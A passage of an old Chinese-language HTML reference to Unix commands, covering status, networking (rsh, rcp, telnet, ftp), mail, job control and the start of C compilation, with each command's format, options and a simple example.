显示字面上不在拼法字典上的词<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -x 显示每一个可能合理的词根<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% spell file<BR><BR><BR>
<H3>
<CENTER>
<P>第四章&nbsp; 有关状态信息命令<BR></P></CENTER></H3><BR><BR>4.1显示当前注册的用户<BR>&nbsp;&nbsp;&nbsp; 命令：w<BR>&nbsp;&nbsp;&nbsp; 格式：w [option] [username]<BR>&nbsp;&nbsp;&nbsp; 功能：显示当前正在使用系统的用户名、注册时间和当前执行的命令。<BR>&nbsp;&nbsp;&nbsp; 选项：-h 不显示起始行<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s 按短格式显示<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -l 按长格式显示（缺省设置）<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% w<BR><BR>4.2 显示都谁登录到机器上<BR>&nbsp;&nbsp;&nbsp; 命令：who<BR>&nbsp;&nbsp;&nbsp; 格式：who<BR>&nbsp;&nbsp;&nbsp; 功能：显示当前正在系统中的所有用户名字，使用终端设备号，注册时间。<BR>&nbsp;&nbsp;&nbsp; 例如：% who<BR><BR>4.3 显示当前终端上的用户名<BR>&nbsp;&nbsp;&nbsp; 命令：whoami<BR>&nbsp;&nbsp;&nbsp; 格式：whoami<BR>&nbsp;&nbsp;&nbsp; 功能：显示出当前终端上使用的用户。<BR>&nbsp;&nbsp;&nbsp; 例如：% whoami<BR><BR>4.4 确定命令位置<BR>&nbsp;&nbsp;&nbsp; 命令：whereis<BR>&nbsp;&nbsp;&nbsp; 格式：whereis command<BR>&nbsp;&nbsp;&nbsp; 功能：确定一个命令的二进制行码、源码及联机手册所在的位置。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% whereis ls<BR><BR>4.5 查找非标准命令<BR>&nbsp;&nbsp;&nbsp; 命令：which<BR>&nbsp;&nbsp;&nbsp; 格式：which command<BR>&nbsp;&nbsp;&nbsp; 功能：查找非标准命令，即使用别名或系统中标准命令集之外的命令。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% which ls<BR><BR>4.6 显示日期<BR>&nbsp;&nbsp;&nbsp; 命令：date<BR>&nbsp;&nbsp;&nbsp; 格式：date<BR>&nbsp;&nbsp;&nbsp; 功能：显示或设置日期和时间。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：只有超级用户有权设置日期。<BR>&nbsp;&nbsp;&nbsp; 例如：% date<BR><BR>4.7 显示日历<BR>&nbsp;&nbsp;&nbsp; 命令：cal (calendar)<BR>&nbsp;&nbsp;&nbsp; 格式：cal [month] year<BR>&nbsp;&nbsp;&nbsp; 功能：显示某年内指定的日历<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% cal 1998<BR><BR>4.8 计算命令执行时间<BR>&nbsp;&nbsp;&nbsp; 命令：time<BR>&nbsp;&nbsp;&nbsp; 格式：time [command]<BR>&nbsp;&nbsp;&nbsp; 功能：计算程序或命令在执行其间所用的时间。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：计算出的时间为：real是命令在系统驻留的总时间，user是命令消耗CPU<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的时间，sys是命令I/O所开销的时间。<BR>&nbsp;&nbsp;&nbsp; 例如：% time myprog<BR><BR>4.9 查询帐目<BR>&nbsp;&nbsp;&nbsp; 命令：acseek (account seek)<BR>&nbsp;&nbsp;&nbsp; 格式：acseek [-d n] [-m usersname]<BR>&nbsp;&nbsp;&nbsp; 功能：查询本月的用户帐目。<BR>&nbsp;&nbsp;&nbsp; 选项：-d n <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -m username<BR>&nbsp;&nbsp;&nbsp; 注释：若没有选项，则显示本人当月的帐单。<BR>&nbsp;&nbsp;&nbsp; 例如：% acseek<BR><BR>4.10显示用户标识<BR>&nbsp;&nbsp;&nbsp; 命令：id <BR>&nbsp;&nbsp;&nbsp; 格式：id [option] [user]<BR>&nbsp;&nbsp;&nbsp; 功能：显示用户标识及用户所属的所有组。<BR>&nbsp;&nbsp;&nbsp; 选项：-a 显示用户名、用户标识及用户所属的所有组<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% id username<BR><BR>4.11显示主机标识<BR>&nbsp;&nbsp;&nbsp; 命令：hostid<BR>&nbsp;&nbsp;&nbsp; 格式：hostid<BR>&nbsp;&nbsp;&nbsp; 功能：显示主机的唯一标识，是被用来限时软件的使用权限，不可改变。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% hostid<BR><BR>4.12显示主机名<BR>&nbsp;&nbsp;&nbsp; 命令：hostname<BR>&nbsp;&nbsp;&nbsp; 格式：hostname<BR>&nbsp;&nbsp;&nbsp; 功能：显示或设置主机名。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：只有超级用户才能设置主机名。<BR>&nbsp;&nbsp;&nbsp; 例如：% hostname<BR><BR>4.13显示进程<BR>&nbsp;&nbsp;&nbsp; 命令：ps <BR>&nbsp;&nbsp;&nbsp; 格式：ps [option]<BR>&nbsp;&nbsp;&nbsp; 功能：显示系统中进程的信息。包括进程ID、控制进程终端、执行时间和命令。<BR>&nbsp;&nbsp;&nbsp; 选项：-a 列出当前系统中所有进程的信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -l 显示一个长列表<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -e 显示当前运行的每一个进程信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -f 显示一个完整的列表<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% ps -ef<BR><BR>4.14显示磁盘空间<BR>&nbsp;&nbsp;&nbsp; 命令：df (disk free)<BR>&nbsp;&nbsp;&nbsp; 格式：df [option]<BR>&nbsp;&nbsp;&nbsp; 功能：显示磁盘空间的使用情况，包括文件系统安装的目录名、块设备名、总<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 字节数、已用字节数、剩余字节数占用百分比。<BR>&nbsp;&nbsp;&nbsp; 选项：-i 显示已用和未用的字节数<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -k 显示磁盘空间的使用信息<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% df -k<BR><BR>4.15显示文件盘空间<BR>&nbsp;&nbsp;&nbsp; 命令：du (disk usage)<BR>&nbsp;&nbsp;&nbsp; 格式：du [option] [filename]<BR>&nbsp;&nbsp;&nbsp; 功能：显示目录或文件所占磁盘空间大小<BR>&nbsp;&nbsp;&nbsp; 选项：-a 显示所有文件的大小<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s 显示制定目录所占磁盘大小<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% du<BR><BR>4.16显示盘空间限制<BR>&nbsp;&nbsp;&nbsp; 命令：quota<BR>&nbsp;&nbsp;&nbsp; 格式：quota -v [username]<BR>&nbsp;&nbsp;&nbsp; 功能：显示用户的磁盘空间限制和使用情况。包扩盘空间的限额和已使用数，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 允许建立的节点数限额和使用节点数。<BR>&nbsp;&nbsp;&nbsp; 选项：-v 查看用户在系统中的盘空间<BR>&nbsp;&nbsp;&nbsp; 注释：只有超级用户可以显示任何用户的使用情况，用edquota命令可修改。<BR>&nbsp;&nbsp;&nbsp; 例如：% quota -v<BR><BR>4.17显示终端选项<BR>&nbsp;&nbsp;&nbsp; 命令：stty<BR>&nbsp;&nbsp;&nbsp; 格式：stty [option]<BR>&nbsp;&nbsp;&nbsp; 功能：显示或设置终端的任选项。<BR>&nbsp;&nbsp;&nbsp; 选项：-a 显示所有设置情况<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -g 显示当前设置<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% stty -a<BR><BR>4.18显示终端名<BR>&nbsp;&nbsp;&nbsp; 命令：tty<BR>&nbsp;&nbsp;&nbsp; 格式：tty<BR>&nbsp;&nbsp;&nbsp; 功能：显示终端名<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% tty<BR><BR>4.19回忆命令<BR>&nbsp;&nbsp;&nbsp; 命令：history<BR>&nbsp;&nbsp;&nbsp; 格式：history<BR>&nbsp;&nbsp;&nbsp; 功能：帮助用户回忆执行过的命令。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% history<BR><BR>4.20联机帮助手册<BR>&nbsp;&nbsp;&nbsp; 命令：man (manual)<BR>&nbsp;&nbsp;&nbsp; 格式：man command_name<BR>&nbsp;&nbsp;&nbsp; 功能：显示参考手册，提供联机帮助信息。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：-k 按制定关键字查询有关命令<BR>&nbsp;&nbsp;&nbsp; 例如：% man tar<BR><BR>4.21建立别名<BR>&nbsp;&nbsp;&nbsp; 命令：alias<BR>&nbsp;&nbsp;&nbsp; 格式：alias newname name<BR>&nbsp;&nbsp;&nbsp; 功能：用户可以将常用的命令用自己习惯的名称来重新命名。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% alias dir 'ls -F'<BR><BR><BR>
<H3>
<CENTER>
<P>第五章&nbsp; 网络命令<BR></P></CENTER></H3><BR><BR>5.1显示网络地址<BR>&nbsp;&nbsp;&nbsp; 命令：arp<BR>&nbsp;&nbsp;&nbsp; 格式：arp hostname<BR>&nbsp;&nbsp;&nbsp; 功能：显示系统当前访问的远程住机名、IP地址和硬件地址。<BR>&nbsp;&nbsp;&nbsp; 选项：-a<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% arp -a<BR><BR>5.2 显示用户信息<BR>&nbsp;&nbsp;&nbsp; 命令：finger<BR>&nbsp;&nbsp;&nbsp; 格式：finger username<BR>&nbsp;&nbsp;&nbsp; 功能：显示网上用户使用机器的情况，包括用户何时登录和最后一次注册记录。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% finger username<BR><BR>5.3 网上对话<BR>&nbsp;&nbsp;&nbsp; 命令：talk<BR>&nbsp;&nbsp;&nbsp; 格式：talk username<BR>&nbsp;&nbsp;&nbsp; 功能：在网上与另一用户进行对话。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：对话时系统把终端分为上下两部分，上半部显示自己键入信息，下半部<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示对方用户键入的信息。键入delete或Ctrl+C则结束对话。<BR>&nbsp;&nbsp;&nbsp; 例如：% talk username<BR><BR>5.4 允许或拒绝接受信息<BR>&nbsp;&nbsp;&nbsp; 命令：mesg (message)<BR>&nbsp;&nbsp;&nbsp; 格式：mesg [n/y]<BR>&nbsp;&nbsp;&nbsp; 功能：允许或拒绝其它用户向自己所用的终端发送信息。<BR>&nbsp;&nbsp;&nbsp; 选项：n 拒绝其它用户向自己所用的终端写信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; y 允许其它用户向自己所用的终端写信息（缺省值）<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% mesg n<BR><BR>5.5 给其他用户写信息<BR>&nbsp;&nbsp;&nbsp; 命令：write<BR>&nbsp;&nbsp;&nbsp; 格式：write username [ttyname]<BR>&nbsp;&nbsp;&nbsp; 功能：给其他用户的终端写信息。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：若对方没有拒绝，两用户可进行交谈，键入EOF或Ctrl+C则结束对话。<BR>&nbsp;&nbsp;&nbsp; 例如：write username<BR><BR>5.6 测试网路<BR>&nbsp;&nbsp;&nbsp; 命令：ping<BR>&nbsp;&nbsp;&nbsp; 格式：ping hostname<BR>&nbsp;&nbsp;&nbsp; 功能：向网络上的主机发送ICMP ECHO REQUEST信息包，检测网络是否畅通。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：被测试的主机名可用IP地址。当丢包率为（100% packet loss)则说明<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当前网络不通。<BR>&nbsp;&nbsp;&nbsp; 例如：% ping hostsname<BR><BR>5.7 远程shell命令<BR>&nbsp;&nbsp;&nbsp; 命令：rsh (remote shell)<BR>&nbsp;&nbsp;&nbsp; 格式：rsh hostsname command<BR>&nbsp;&nbsp;&nbsp; 功能：在本地机执行远程主机的shell命令。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% rsh hostname who<BR><BR>5.8 远程考贝文件<BR>&nbsp;&nbsp;&nbsp; 命令：rcp (remote copy)<BR>&nbsp;&nbsp;&nbsp; 格式：rcp [-r] file newfile<BR>&nbsp;&nbsp;&nbsp; 功能：拷贝远程主机上的文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-r 拷贝目录<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% rcp hostname:/tmp/file . <BR><BR>5.9 远程注册<BR>&nbsp;&nbsp;&nbsp; 命令：rlogin (remote login)<BR>&nbsp;&nbsp;&nbsp; 格式：rlogin hostname [-l username]<BR>&nbsp;&nbsp;&nbsp; 功能：注册到远程主机上。<BR>&nbsp;&nbsp;&nbsp; 选项：-l username 注册到另一用户<BR>&nbsp;&nbsp;&nbsp; 注释：要有用户口令才能注册。<BR>&nbsp;&nbsp;&nbsp; 例如：% rlogin hostname<BR><BR>5.10 远程登录<BR>&nbsp;&nbsp;&nbsp; 命令：telnet<BR>&nbsp;&nbsp;&nbsp; 格式：telnet hostname<BR>&nbsp;&nbsp;&nbsp; 功能：远程登录到网上其它主机。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：支持不同的操作系统。<BR>&nbsp;&nbsp;&nbsp; 例如：% telnet bbs.tsinghua.edu.cn<BR><BR>5.11文件传输<BR>&nbsp;&nbsp;&nbsp; 命令：ftp (file transfer program)<BR>&nbsp;&nbsp;&nbsp; 格式：ftp hostname<BR>&nbsp;&nbsp;&nbsp; 功能：网络文件传输及远程操作。<BR>&nbsp;&nbsp;&nbsp; 选项：ftp命令：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?/help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ftp的联机帮助<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; open hostname 打开制定的远程机 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cd [dirname]&nbsp; 进入远程机的目录<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lcd [dirname] 设置本地机的目录 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dir/ls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示远程的目录文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; binary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以二进制方式进行传输<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; get/mget&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从远程机取一个或多个文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; put/mput&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 向远程机送一个或多个文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; prompt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 打开或关闭多个文件传送时的交互提示<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关闭与远程机的连接<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; quit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 退出ftp<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% ftp hostname<BR><BR>5.12显示到网络主机的路经<BR>&nbsp;&nbsp;&nbsp; 命令：traceroute<BR>&nbsp;&nbsp;&nbsp; 格式：traceroute hostname<BR>&nbsp;&nbsp;&nbsp; 功能：显示本机到达某一网络主机所经的路经和使用的时间。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% traceroute hostname<BR><BR><BR>
<H3>
<CENTER>
<P>第六章&nbsp; Mail命令<BR></P></CENTER></H3><BR><BR>6.1 发送或接受电子邮件<BR>&nbsp;&nbsp;&nbsp; 命令：mail/Mail/mailx<BR>&nbsp;&nbsp;&nbsp; 格式：mail username （发送）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mail [option] （接受）<BR>&nbsp;&nbsp;&nbsp; 功能：向网上用户发送或接受电子邮件。<BR>&nbsp;&nbsp;&nbsp; 选项：-r 邮件按先进先出顺序排序。缺省时为后进先出顺序排序<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -q 中断mail后不改变信箱内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -p 显示mail每份邮件，不显示提示信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -f 从邮件格式文件中读邮件<BR>&nbsp;&nbsp;&nbsp; 注释：mail命令：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示mail帮助命令<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 邮件标题列表<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示当前邮件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示下一邮件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; r [uers] 给发信人或用户回信<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s [file] 将邮件保存到文件中，保存标题信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w [file] 将邮件写到文件中，不保存标题信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d [n]&nbsp;&nbsp;&nbsp; 删除当前邮件或第n封邮件 &nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; q&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将未删除的邮件存入mbox文件，并退出mail<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所有邮件不作修改，退出mail<BR>&nbsp;&nbsp;&nbsp; 例如：% mail -s "Subjet ..." username &lt; messages<BR><BR>6.2 显示邮件队列<BR>&nbsp;&nbsp;&nbsp; 命令：mailq<BR>&nbsp;&nbsp;&nbsp; 格式：mailq<BR>&nbsp;&nbsp;&nbsp; 功能：查看正在发送或接收邮件的排队情况。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：此命令一般在系统或网络不同时使用。<BR>&nbsp;&nbsp;&nbsp; 例如：% mailq<BR><BR>6.3 邮件操作命令<BR>&nbsp;&nbsp;&nbsp; 命令：pine<BR>&nbsp;&nbsp;&nbsp; 格式：pine<BR>&nbsp;&nbsp;&nbsp; 功能：对自己邮件操作的程序。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：此操作是在菜单提示下进行。<BR>&nbsp;&nbsp;&nbsp; 例如：% pine<BR><BR><BR>
<H3>
<CENTER>
<P>第七章&nbsp; 运行程序命令<BR></P></CENTER></H3><BR><BR>7.1 按时间执行命令<BR>&nbsp;&nbsp;&nbsp; 命令：at/batch<BR>&nbsp;&nbsp;&nbsp; 格式：at [option] [time] [data] [file]<BR>&nbsp;&nbsp;&nbsp; 功能：在制定的时间执行命令或命令文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-r 取消以前用at命令提交的作业<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -l 显示用at命令提交的所有作业状态和作业号<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：at 0030 Jan 20 myfile<BR><BR>7.2 参数回至标准输出<BR>&nbsp;&nbsp;&nbsp; 命令：echo<BR>&nbsp;&nbsp;&nbsp; 格式：echo [-n] [arguments]<BR>&nbsp;&nbsp;&nbsp; 功能：将参数即字符串至标准输出即显示器<BR>&nbsp;&nbsp;&nbsp; 选项：-n 不向标准输出回送换行符<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：echo *<BR><BR>7.3 复制至文件<BR>&nbsp;&nbsp;&nbsp; 命令：tee<BR>&nbsp;&nbsp;&nbsp; 格式：tee [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：至标准输出的同时复制至文件<BR>&nbsp;&nbsp;&nbsp; 选项：-a 输出时附加到文件中<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -i 不理采中断<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% who | tee file<BR><BR>7.4 给程序优先级<BR>&nbsp;&nbsp;&nbsp; 命令：nice<BR>&nbsp;&nbsp;&nbsp; 格式：nice [-n] command&nbsp; <BR>&nbsp;&nbsp;&nbsp; 功能：以低的优先级运行程序或命令。<BR>&nbsp;&nbsp;&nbsp; 选项：-n 为优先级0-20从高到低<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：nice -5 progame<BR><BR>7.5 终止进程<BR>&nbsp;&nbsp;&nbsp; 命令：kill<BR>&nbsp;&nbsp;&nbsp; 格式：kill [option] pid<BR>&nbsp;&nbsp;&nbsp; 功能：向指定的进程送信号或终止进程。<BR>&nbsp;&nbsp;&nbsp; 选项：-9&nbsp; 强行终止进程<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -17 将进程挂起<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -19 将挂起的进程激活<BR>&nbsp;&nbsp;&nbsp; 注释：pid标示进程号，可由ps命令得到。<BR>&nbsp;&nbsp;&nbsp; 例如：% kill -9 pid<BR><BR>7.6 进程睡眠<BR>&nbsp;&nbsp;&nbsp; 命令：sleep<BR>&nbsp;&nbsp;&nbsp; 格式：sleep time<BR>&nbsp;&nbsp;&nbsp; 功能：使当前正在执行的进程在规定的时间内处于睡眠。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：time为进程将睡眠的时间，以秒为单位。<BR>&nbsp;&nbsp;&nbsp; 例如：% sleep time<BR><BR>7.7 显示作业状态<BR>&nbsp;&nbsp;&nbsp; 命令：jobs<BR>&nbsp;&nbsp;&nbsp; 格式：jobs [-l]<BR>&nbsp;&nbsp;&nbsp; 功能：显示当前作业的状态<BR>&nbsp;&nbsp;&nbsp; 选项：-l 长列表显示作业状态，包括所有者、作业号、终端和状态。<BR>&nbsp;&nbsp;&nbsp; 注释：作业状态为 +表示最近被停止的作业，-表示先前的作业，exit 1表示<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 退出的作业，job# done表示已完成的作业。<BR>&nbsp;&nbsp;&nbsp; 例如：% jobs<BR><BR>7.8 前台作业<BR>&nbsp;&nbsp;&nbsp; 命令：fg<BR>&nbsp;&nbsp;&nbsp; 格式：fg job#<BR>&nbsp;&nbsp;&nbsp; 功能：将指定作业号的作业转入前台运行。job#表示作业号。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% fg job#<BR><BR>7.9 后台作业<BR>&nbsp;&nbsp;&nbsp; 命令：bg/&amp;<BR>&nbsp;&nbsp;&nbsp; 格式：bg job#<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; command &amp;<BR>&nbsp;&nbsp;&nbsp; 功能：将指定作业号的作业或命令推到后台运行。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% bg job#<BR><BR>7.10挂起作业<BR>&nbsp;&nbsp;&nbsp; 命令：stop<BR>&nbsp;&nbsp;&nbsp; 格式：stop job#<BR>&nbsp;&nbsp;&nbsp; 功能：将指定作业号的后台作业挂起.<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% stop job#<BR><BR><BR>
<H3>
<CENTER>
<P>第八章&nbsp; 程序编译执行命令<BR></P></CENTER></H3><BR><BR>8.1 C程序编译<BR>&nbsp;&nbsp;&nbsp; 命令：cc<BR>&nbsp;&nbsp;&nbsp; 格式：cc [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：编译或链接指定的C文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-o&nbsp; 指定输出文件名，缺省时为a.out<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -c&nbsp; 只编译，产生.o的目标文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -g&nbsp; 产生用于符号测试的执行文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -lm 进行连接cc数学库<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O&nbsp; 